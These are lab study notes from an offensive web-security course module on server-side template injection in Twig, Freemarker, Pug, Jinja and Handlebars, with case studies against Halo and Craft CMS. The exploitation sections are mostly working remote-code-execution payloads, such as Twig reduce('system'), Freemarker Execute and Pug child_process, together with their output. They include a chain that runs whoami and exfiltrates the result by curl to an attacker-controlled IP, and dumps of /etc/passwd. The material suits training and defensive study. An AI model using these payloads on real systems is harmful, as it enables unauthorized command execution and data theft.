# Module 12: Server-side Template Injection - Discovery and Exploitation

## Templating Engines

### Accessing the Template Sandbox

_Start the VPN, VM, and add IP to hosts._

### Introduction to Templating Engines

_Example Email_

```
Hello Dragan,

Thank you for your order! Your items will be shipped out shortly:

Widget - $10
	Quantity: 3
	Total: 	$30
Toolkit - $20
	Quantity: 1
	Total: 	$20
_______________
Total: 		$50

These items will be shipped to:

194 Bridge Avenue Elton, Louisiana 70532
```

_Example Template Email_

```
01  Hello {{ name }},
02
03  Thank you for your order! Your items will be shipped out shortly:
04  {% for product in cart %}
05  {{product.name}}
06          Price:  ${{product.price}}
07          Quantity: {{product.quantity}}
08          Total:  ${{product.quantity * product.price}}
09  {% endfor %}____________________
10  Total:          ${{total}}
11
12  {% if cart|length > 1 %}
13  These items{% else %}
14  This item{% endif %} will be shipped to:
15  {{address}}
```

_Example Template Variables_

```json
{
	"name": "Dragan",
	"address": "194 Bridge Avenue Elton, Louisiana 70532",
	"cart": [
		{
			"name": "Widget",
			"quantity": 3,
			"price": 10
		},
		{
			"name": "Toolkit",
			"quantity": 1,
			"price": 20
		}
	],
	"total": 50
}
```

_Greeting the user_

```
01  Hello {{ name }},
...
```

_Template For Loop_

```
04  {% for product in cart %}
05  {{product.name}}
06          Price:  ${{product.price}}
07          Quantity: {{product.quantity}}
08          Total:  ${{product.quantity * product.price}}
09  {% endfor %}
```

_Displaying the total_

```
10  Total:          ${{total}}
```

_Template If Statement_

```
12  {% if cart|length > 1 %}
13  These items{% else %}
14  This item{% endif %} will be shipped to:
15  {{address}}
```

_Various Templating Engines_

| Templating Engine | Language       | Server/client Side |
| ----------------- | -------------- | ------------------ |
| Twig              | PHP            | Server Side        |
| Freemarker        | Java (usually) | Server Side        |
| Pug/Jade          | JavaScript     | Mostly Server Side |
| Jinja             | Python         | Server Side        |
| Handlebars        | JavaScript     | Both               |
| Mustache          | Multiple       | Varies             |

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FwIl60BDpzeHAmzT9E3hR%2F6feaa546c557d9ebe7beb2470a461359-ssti_logic_compare.png?alt=media&#x26;token=bd30fb4f-f364-49d8-8d68-289501165246" alt=""><figcaption><p>Comparing levels of logic</p></figcaption></figure>

## Twig - Discovery and Exploitation

### Twig - Discovery

_Inline PHP before Twig_

```php
<h1><?php echo $name ?></h1>

<p>Welcome to our site!</p>

<?php 
if ($isAdmin) {
  echo "<p>You are the supreme leader and we love you</p>";
}
?>
```

_Twig Template_

```twig
<h1>{% if not admin %}sudo {% endif %}make me a sandwich, {{name|capitalize}}!</h1>
We are using Twig remotely to generate this template
```

_Twig Statement_

```twig
{% if not admin %}sudo {% endif %}
```

### Twig - Exploitation

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FOTrZMmfhtE8fbdSsU6Jn%2F8ae9c86237ff05cf16addbb2e898c60d-ssti_twig_filters.png?alt=media&#x26;token=c2913f00-398d-4264-874c-f84ee1a2850b" alt=""><figcaption><p>Twig Filters</p></figcaption></figure>

_Twig Documentation Example_

```twig
{% set numbers = [1, 2, 3] %}

{{ numbers|reduce((carry, v) => carry + v) }}
{# output 6 #}
```

_Arguments for the reduce Function_

```twig
Arguments

    arrow: The arrow function
    initial: The initial value
```

_var\_dump payload_

```twig
{{[0]|reduce('var_dump','Hello')}}
```

_var\_dump Payload output_

```twig
string(5) "Hello"
int(0)
```

_whoami Payload_

```twig
{{[0]|reduce('system','whoami')}}
```

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FJfEdbQr8KSBvZm6qVeby%2F01e4ebf91acd747085ef83c31b4d8592-ssti_twig_rce.png?alt=media&#x26;token=acb93b59-cd49-4ba9-815a-abc83cb3272c" alt=""><figcaption><p>Twig RCE</p></figcaption></figure>

## Apache Freemarker - Discovery and Exploitation

### Freemarker - Discovery

_Freemarker Template_

```twig
01  <h1>Hello ${name}!</h1>
02  <#if name == "hacker">
03  The top reasons you're great:
04    <#list reasons as reason>
05     ${reason?index + 1}: ${reason}
06    </#list>
07  </#if>
```

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2Fr6rHF4kgSBB5eBLQYSSO%2Ff64ee35d23297a2cbb5e09f8d3dfbdde-ssti_freemarker_variables.png?alt=media&#x26;token=0fd27fe5-d98f-4de4-b239-833d265b7613" alt=""><figcaption><p>Freemarker Variables</p></figcaption></figure>

_If Statement in Freemarker_

```twig
02  <#if name == "hacker">
...
07  </#if>
```

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FpNCEr6WXuEt40a1f9ayb%2F670e46060fe1dc3dff1f62a5a3ee26f5-ssti_freemarker_name.png?alt=media&#x26;token=529ccc55-e0a1-446c-bd4c-ef0ee7f4437d" alt=""><figcaption><p>Name set to "hacker"</p></figcaption></figure>

_Loop in Freemarker_

```twig
04    <#list reasons as reason>
05     ${reason?index + 1}: ${reason}
06    </#list>
```

Freemarker tends to be more susceptible to XSS than other templating engines due to the requirements before 2016 to have developers specify if a variable needs to be HTML escaped.

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FE2VISlOoXqHzZO91R1F9%2Fbbd6310b758f670caba9f45d6ac971ae-ssti_freemarker_html.png?alt=media&#x26;token=48b76874-6b43-4f01-8151-8743ac262920" alt=""><figcaption><p>HTML in name Variable</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FjkebnIn7FsMJNrBinCSn%2F7ef372ecdb9c1228cc56fa33f6f0c1a9-ssti_multiply_numbers_freemarker.png?alt=media&#x26;token=84b3ce3f-dd2b-4919-b40c-93cd804948b9" alt=""><figcaption><p>Freemarker Multiply Number</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FXUBasXbaP4TUMhvLRfsp%2Fd004d122a60e1fcc008ab85dd8205542-ssti_multiply_string_freemarker.png?alt=media&#x26;token=60f14cb6-2d7d-4877-a3d0-4f3896f6d4e7" alt=""><figcaption><p>Freemarker multiple Number and String</p></figcaption></figure>

### Freemarker - Exploitation

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FCFQyovaZBD5866NxQTIw%2F3dbfaf19ab6413871729e8ca54de1782-ssti_freemarker_exec_doc.png?alt=media&#x26;token=777935b9-65e3-477f-b8db-c989d70a3b1f" alt=""><figcaption><p>Freemarker Execute Documentations</p></figcaption></figure>

_Freemarker Execute Payload_

```twig
${"freemarker.template.utility.Execute"?new()("whoami")}
```

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FytwR32jg4kXiZLMawh9K%2F7428f652532f43578b482230eba700c9-ssti_freemarker_rce.png?alt=media&#x26;token=f5dfc47c-772f-4bf2-9e90-8ac465b81627" alt=""><figcaption><p>Freemarker RCE</p></figcaption></figure>

{% hint style="info" %}
In this scenario, the target is running the application as root. However, it is in a containerized environment, so this might not always be the case.
{% endhint %}

## Pug - Discovery and Exploitation

### Pug - Discovery

_Pug Template_

```pug
01   h1 Hello, #{name}
02   input(type='hidden' name='admin' value='true')
03 
04   if showSecret
05     - secret = ['❤️','😍', '🤟']
06     p The secrets are: 
07     each val in secret
08       p #{val}
09   else
10    p No secret for you!
```

_Attributes in Pug_

```pug
02   input(type='hidden' name='admin' value='true')
```

_if statement in Pug_

```pug
04   if showSecret
...
09   else
10     p No secret for you!
```

_Code in Pug_

```pug
05     - secret = ['❤️','😍', '🤟']
```

_Buffered Code_

```pug
= secret = ['❤️','😍', '🤟']
```

_Pug Loop_

```pug
07     each val in secret
08       p #{val}
```

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FHw2J8yuydLD1PQOMGDWh%2Fc166532318bbd844aaecf52325cec8cb-ssti_pug_discovery.png?alt=media&#x26;token=f800a30f-9bff-4436-806c-b9acfc7b33b3" alt=""><figcaption><p>Discovering Pug</p></figcaption></figure>

### Pug - Exploitation

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FbTGf50Hb9g5q9DKroBSb%2Faf962ee26269f8ea6afe7b45f717e4e2-ssti_require_no.png?alt=media&#x26;token=57c2d2e3-fdf8-453c-a919-192674b269a7" alt=""><figcaption><p>Pug - require Does not Exist</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FFKARcodJCea4QWjxQVi2%2Fc90cb0a1472a17879a06a9c6b76677d4-ssti_pug_global.png?alt=media&#x26;token=e513c7fb-22b6-42d4-8c6b-7ffab717beb2" alt=""><figcaption><p>Pug - global.process.mainModule.require</p></figcaption></figure>

_Storing require as Variable_

```pug
- var require = global.process.mainModule.require
= require('child_process')
```

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FZKss8yjdHlp7wwSVhs0h%2F17aea71c73b25670dbf6f5aed0246223-ssti_child_proc_pug.png?alt=media&#x26;token=cff24289-f7eb-493e-b760-96e3626dcf66" alt=""><figcaption><p>Pug - Requiring child_process</p></figcaption></figure>

_Executing spawnSync_

```pug
- var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout
```

{% hint style="info" %}
In this scenario, the target is running the application as root. However, it is in a containerized environment. This might not always be the case.
{% endhint %}

## Jinja - Discovery and Exploitation

### Jinja - Discovery

_Jinja Templating Engine_

```twig
01	<h1>Hey {{ name }}</h1>
02	{% if reasons %}
03	Here are a couple of reasons why you are great:
04	<ul>
05	{% for r in reasons %}
06		<li>{{r}}</li>
07	{% endfor %}
08	</ul>
09	{% endif %}
```

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FA161ncyzAICXYQPE4g9V%2F1310c65d76f20637fc765b0a7f7b200c-ssti_jinja_muli_string.png?alt=media&#x26;token=18211a92-b99b-421a-bec4-70f7553b9cb8" alt=""><figcaption><p>Jinja multiplying with string</p></figcaption></figure>

### Jinja - Exploitation

{% hint style="warning" %}
Obtaining RCE via injection in the Jinja templating engine is the type of complex technique reviewed in the WEB-300 course.
{% endhint %}

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FWlk6UHCV2QcJ487JPtU9%2Fcbaa3a28f8031c126259d89cdeda6fce-ssti_jinja_key.png?alt=media&#x26;token=3e5c5b57-2f3a-4f47-8b39-6b73a28fc9e7" alt=""><figcaption><p>Jinja - Config Key</p></figcaption></figure>

## Mustache and Handlebars - Discovery and Exploitation

### Mustache and Handlebars - Discovery

_Handlebars Template_

```handlebars
01  <h1>Hello {{name}}</h1>
02  {{#if nicknames}}
03  Also known as:
04    {{#each nicknames}}
05        {{this}}
06    {{/each}}
07  {{/if}}
08
09  We are using handlebars locally in your browser to generate this template
```

_Handlebars Expression_

```handlebars
01  <h1>Hello {{name}}</h1>
```

_Handlebars Helpers_

```handlebars
02  {{#if nicknames}}
03  Also known as:
04    {{#each nicknames}}
05        {{this}}
06    {{/each}}
07  {{/if}}
```

### Mustache and Handlebars - Exploitation

For the most part Handlebars is fairly safe due to it being logicless, however _helpers_ can cause it to be "vulnerable".

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FJpcHs23xplrlbc42HJwY%2Ffbaf18c73bc37a9e4463283c825cb310-ssti_hbs_readdir.png?alt=media&#x26;token=8394f50a-dc3b-47be-8a83-5e58d23fb3b2" alt=""><figcaption><p>Handlebars - Reading Directory</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2F3rYksnSJOtNOYe8pmzs7%2F0684c00ec25a0c135c337017eb13d41e-ssti_read_passwd.png?alt=media&#x26;token=662655a9-d89b-407d-a6b1-bf5a81597356" alt=""><figcaption><p>Handlebars - Read /etc/passwd</p></figcaption></figure>

## Halo - Case Study

### Accessing Halo

_Start the VPN, the VM, and add IP to hosts._

### Halo - Translation and Discovery

_Install an extension to translate the page if the browser won't do it automatically — I installed Translate Web Page from Filipe Dev into Firefox._

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FuBgFAWms0t7JGNTUll0e%2Ffd531d1aa745e2a464e788459fa933ab-ssti_halo_admin.png?alt=media&#x26;token=782331b3-4d9d-4bca-b501-d5cef6db4935" alt=""><figcaption><p>Halo Admin Page</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FnSVZp3R1g8bceVSuNAqR%2Fb35dd7c51fb55231c503be9ffa1a6cf2-ssti_nav_theme_editor.png?alt=media&#x26;token=94eabf7e-d842-49fe-a99c-db49a15ba78a" alt=""><figcaption><p>Halo Theme Editor Navigation</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FdSm3jjGTi44BHc7P9nMG%2F65dfec95cd9954b2168f30aa65b3906e-ssti_theme_editor.png?alt=media&#x26;token=e6f03ac6-597a-4b23-9c0e-53aab13d28a3" alt=""><figcaption><p>Halo Theme Editor</p></figcaption></figure>

_404.ftl_

```twig
01  <!DOCTYPE html>
02  <html>
03  <head>
04      <meta http-equiv="content-type" content="text/html; charset=utf-8">
05      <link rel="alternate" type="application/rss+xml" title="atom 1.0" href="/atom.xml">
06      <title>Not Found</title>
07      <link href="${static!}/source/css/style.min.css" type="text/css" rel="stylesheet"/>
08  </head>
09  <div class="page_404">
10      <p>The page you are looking for is missing</p>
11  </div>
12  </html>
```

_404 page with Halo_

```twig
kali@kali:~$ curl -L http://halo/DoesNotExist 
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <link rel="alternate" type="application/rss+xml" title="atom 1.0" href="/atom.xml">
    <title>Not Found</title>
    <link href="http://halo/anatole/source/css/style.min.css" type="text/css" rel="stylesheet"/>
</head>
<div class="page_404">
    <p>The page you are looking for is missing</p>
</div>
</html>  
```

_Non-freemarker template response_

```twig
...
11  </div>
12  </html>
13  {{5*5}}
```

_Freemarker Template Response_

```twig
kali@kali:~$ curl -L http://halo/DoesNotExist
...
</html>
25
```

_Freemarker template with string response_

```twig
...
11  </div>
12  </html>
13  ${5*'5'}
```

### Halo - Exploitation

_Freemarker RCE Payload_

```twig
${"freemarker.template.utility.Execute"?new()("whoami")}
```

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FcgiT6uUti7ZpCVg3OK0W%2F94779f2535f9343cd589d6fa0a9074d8-ssti_halo_passwd.png?alt=media&#x26;token=2ebc58ef-02b7-44de-89d5-c197e5d41532" alt=""><figcaption><p>Halo - Template Injection to view /etc/passwd</p></figcaption></figure>

_/etc/passwd in Halo_

```bash
kali@kali:~$ curl -L http://halo/DoesNotExist
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

### Extra Mile

_Do the lab._

## Craft CMS with Sprout Forms - Case Study

### Accessing Craft CMS

_Start the VPN, the VM, and add the IP to yours hosts._

### Craft CMS with Sprout Forms - Discovery

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FQG8d7dvM6pILYtDbzdUu%2F0b4a3ede7f6784f49b23e7df72a99c8b-ssti_craft_home.png?alt=media&#x26;token=efe4d0b4-99f3-4eba-aa4c-164e73847f5d" alt=""><figcaption><p>Craft CMS Home page with Sprout Form</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FUJ94jghIDUPJi7i3Rrzs%2F9e9036ca1b604f8945a90dd476115317-ssti_craft_discovery.png?alt=media&#x26;token=8ad83999-a9e5-4e7a-a035-e15601f2bf0c" alt=""><figcaption><p>Discovering possible PHP and Craft CMS</p></figcaption></figure>

_Running Gobuster against the craft webpage_

{% code overflow="wrap" %}
```bash
kali@kali:~$ gobuster dir --wordlist /usr/share/wordlists/dirb/common.txt --url http://craft/
...
===============================================================
/admin                (Status: 302) [Size: 0] [--> http://craft/admin/login]
/index                (Status: 200) [Size: 56284]                           
/Index                (Status: 200) [Size: 56284]                           
/index.php            (Status: 200) [Size: 56284]                           
/logout               (Status: 302) [Size: 0] [--> http://craft/]           
...
```
{% endcode %}

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FWpjGKcnrvenec64SgVIX%2F618667293c51584747c5c749e616cc09-ssti_admin_page_craft.png?alt=media&#x26;token=9b5e2556-59ca-4b10-bec0-79f5342d08de" alt=""><figcaption><p>Craft Admin Page</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FoU90OWNygDvdCZvjT0Fe%2Ffaf83e911d92496713a745cb03ad7f24-ssti_craf_submit_form.png?alt=media&#x26;token=7d613006-b570-4107-94f5-9b6c146037db" alt=""><figcaption><p>Submitting Form</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FJgO8bBLNxs9QTvQ9pH2N%2F97c55f0d8dddfc4cae34648bebea28ee-ssti_form_email.png?alt=media&#x26;token=908d2556-eba1-4660-b994-98a2023443d8" alt=""><figcaption><p>Form Email</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FhjoRMb7tLYDLxOULFGGQ%2F7e396613beac70d2120930dd8c34c695-ssti_craft_template.png?alt=media&#x26;token=cb604e56-83ec-4315-8c55-eb56658c7643" alt=""><figcaption><p>Submitting Template</p></figcaption></figure>

_cURL Payload_

```twig
{{[0]|reduce('system','curl http://192.168.49.51/helloFromTheOtherSide')}}
```

_Python HTTP Server_

```bash
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

_SSTI Confirmation_

```bash
192.168.51.105 - - [09/Jul/2021 14:28:16] code 404, message File not found
192.168.51.105 - - [09/Jul/2021 14:28:16] "GET /helloFromTheOtherSide HTTP/1.1" 404 -
```

### Craft CMS with Sprout Forms - Exploitation

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FCvsYa6fzKUVw3R9wwWog%2F9512c5453423fc52ced74c7a2131cc2d-ssti_twig_sandbox_craft.png?alt=media&#x26;token=f0574119-5618-41a0-b806-76b3baf0283f" alt=""><figcaption><p>Twig Sandbox</p></figcaption></figure>

_Exfiltration Payload_

```twig
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}
```

_Exfiltration in HTTP log_

```log
192.168.51.101 - - [09/Jul/2021 14:44:49] "GET /?exfil= HTTP/1.1" 200 -
```

_URL Encoding Exfil_

```twig
{% set exfil = "Hello & Goodbye"| url_encode %}
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}
```

_Encoded message in HTTP log_

{% code overflow="wrap" %}
```log
192.168.51.101 - - [09/Jul/2021 15:45:57] "GET /?exfil=Hello%20%26%20Goodbye HTTP/1.1" 200 -
```
{% endcode %}

_Executing whoami and Exfiltrating the Output_

```twig
{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}
```

_Output of whoami Logged_

{% code overflow="wrap" %}
```log
192.168.51.101 - - [09/Jul/2021 15:55:59] "GET /?exfil=www-data%0Awww-data%0A HTTP/1.1" 200 -
```
{% endcode %}

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FFylBhVRp00HCRyTBMZaz%2F53a9eef417dc8c3de36718ae9daf138a-ssti_craft_rce_payload.png?alt=media&#x26;token=ecb32a9b-7d37-4190-a1f9-6ff56f7a8bcc" alt=""><figcaption><p>Payload in Craft CMS</p></figcaption></figure>

_/etc/passwd From Craft_

{% code overflow="wrap" %}
```log
192.168.51.105 - - [09/Jul/2021 15:57:50] "GET /?exfil=%3Cbr%20%2F%3E%0Aroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fash%0Abin%3Ax%3A1%3A1%3Abin%3A%2Fbin%3A%2Fsbin%2Fnologin%0Adaemon%3Ax%3A2%3...
```
{% endcode %}

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FDVSCwOef8lXEgQVTWUlZ%2F6366bbcdfcec5b5b3e54b69709e80d7f-ssti_burp_decode.png?alt=media&#x26;token=52e4d20a-8255-4e4d-8975-3c5b25501c17" alt=""><figcaption><p>Burp Decoder</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FW6ly07GjIu3kT2DuWZQf%2Fc363e11490b9d40ca1660483c902587a-ssti_url_decode.png?alt=media&#x26;token=0e72acdb-e7d5-4b13-b7de-3dcb44e36948" alt=""><figcaption><p>Selecting URL Decoding</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2Fm9zUGqHButXUcYjE36v6%2Ffdf0d4691aeb3803191f49f459246bac-ssti_burp_passwd.png?alt=media&#x26;token=71ce719b-91d2-4992-aa34-1ba691ff20b1" alt=""><figcaption><p>Burp Decoding /etc/passwd</p></figcaption></figure>
